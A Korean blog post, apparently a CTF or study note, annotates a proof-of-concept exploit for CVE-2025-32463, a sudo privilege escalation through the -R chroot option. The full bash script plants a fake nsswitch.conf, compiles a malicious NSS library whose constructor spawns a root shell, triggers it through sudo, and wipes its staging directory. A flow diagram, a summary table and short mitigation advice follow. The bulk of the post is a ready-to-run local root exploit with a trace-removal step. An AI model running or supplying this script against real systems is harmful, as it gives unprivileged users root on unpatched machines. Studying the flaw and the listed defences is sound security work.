CVE-2025-32463

agnusdei·2025년 7월 19일

CTF

목록 보기
45/185

🔓 CVE-2025-32463 – Sudo EoP Exploit PoC 주석 버전

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)

# 1. 임시 작업 디렉토리 생성
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)  # /tmp 아래에 임시 디렉토리 생성
cd ${STAGE?} || exit 1                         # 해당 디렉토리로 이동, 실패하면 종료

# 2. 루트 권한을 획득할 악성 C 코드 작성
cat > woot1337.c <<EOF
#include <stdlib.h>
#include <unistd.h>

// 공유 라이브러리가 로드되자마자 실행될 함수 (constructor)
__attribute__((constructor)) void woot(void) {
  setreuid(0,0);                               // UID를 루트(0)으로 설정
  setregid(0,0);                               // GID도 루트(0)으로 설정
  chdir("/");                                  // 루트 디렉토리로 이동
  execl("/bin/bash", "/bin/bash", NULL);       // 루트 쉘 실행
}
EOF

# 3. 가짜 루트 디렉토리 구성
mkdir -p woot/etc libnss_                      # 공격 환경 디렉토리 생성 (woot/가 가짜 루트)
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
# NSS 설정을 조작해서 passwd 조회 시 libnss_woot1337.so.2 를 로드하게 함

cp /etc/group woot/etc                         # 필요한 시스템 파일 복사 (일부 명령 실행 시 필요)

# 4. 악성 공유 라이브러리 컴파일
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
# -shared : 공유 라이브러리 생성
# -fPIC   : 주소 독립 코드 생성 (필수)
# -Wl,-init,woot : 라이브러리 로딩 시 'woot()' 함수 자동 실행

# 5. sudo -R 로 가짜 루트 환경에서 명령 실행 (Exploit Trigger)
echo "woot!"
sudo -R woot woot
# -R woot : Sudo가 'woot/' 디렉토리를 루트(/)처럼 간주하고 실행
#           이로 인해 woot/etc/nsswitch.conf 를 참조하고,
#           libnss_woot1337.so.2 를 루트 권한으로 로드함 → constructor 함수 실행 → 루트 쉘 획득

# 6. 흔적 제거
rm -rf ${STAGE?}                                # 임시 작업 디렉토리 삭제

🎯 핵심 공격 원리: 시각적 흐름

[비특권 사용자]           [sudo -R woot] 실행
        │
        ▼
┌──────────────────────────────────────────┐
│ Sudo는 'woot/' 디렉토리를 루트(/)처럼 간주 │
└──────────────────────────────────────────┘
        │
        ▼
[woot/etc/nsswitch.conf] → passwd: /woot1337
        │
        ▼
NSS는 'libnss_woot1337.so.2' 를 찾고 로드 시도
        │
        ▼
[libnss_/woot1337.so.2]  ← 공격자가 만든 악성 라이브러리
        │
        ▼
constructor 함수 자동 실행
(setreuid(0,0); execl("/bin/bash"))
        │
        ▼
🧨 **루트 쉘 획득**!

🔬 취약점 요약 (CVE-2025-32463)

항목설명
취약점 유형권한 상승 (Elevation of Privilege)
취약 위치sudo -R <dir> 사용 시 NSS 로딩 처리
공격 방식공격자가 조작한 NSS 설정 + 악성 공유 라이브러리를 루트 권한으로 로딩
결과비특권 사용자 → 루트 쉘 획득

🔐 방어 및 대응 방법

  • Sudo 최신 버전으로 업데이트 (취약한 -R 처리 로직 패치됨)
  • 🚫 sudo -R 사용을 제한하거나 금지
  • 🧱 NSS 구성에서 예상치 못한 라이브러리 경로 로딩 금지 (예: LD_LIBRARY_PATH 강제 비활성화)
  • 🔍 보안 감사 시 사용자 정의 nsswitch.conf, 비정상적인 NSS 서비스명 탐지

profile
DevSecOps, Pentest, Cloud(OpenStack), Develop, Data Engineering, AI-Agent

0개의 댓글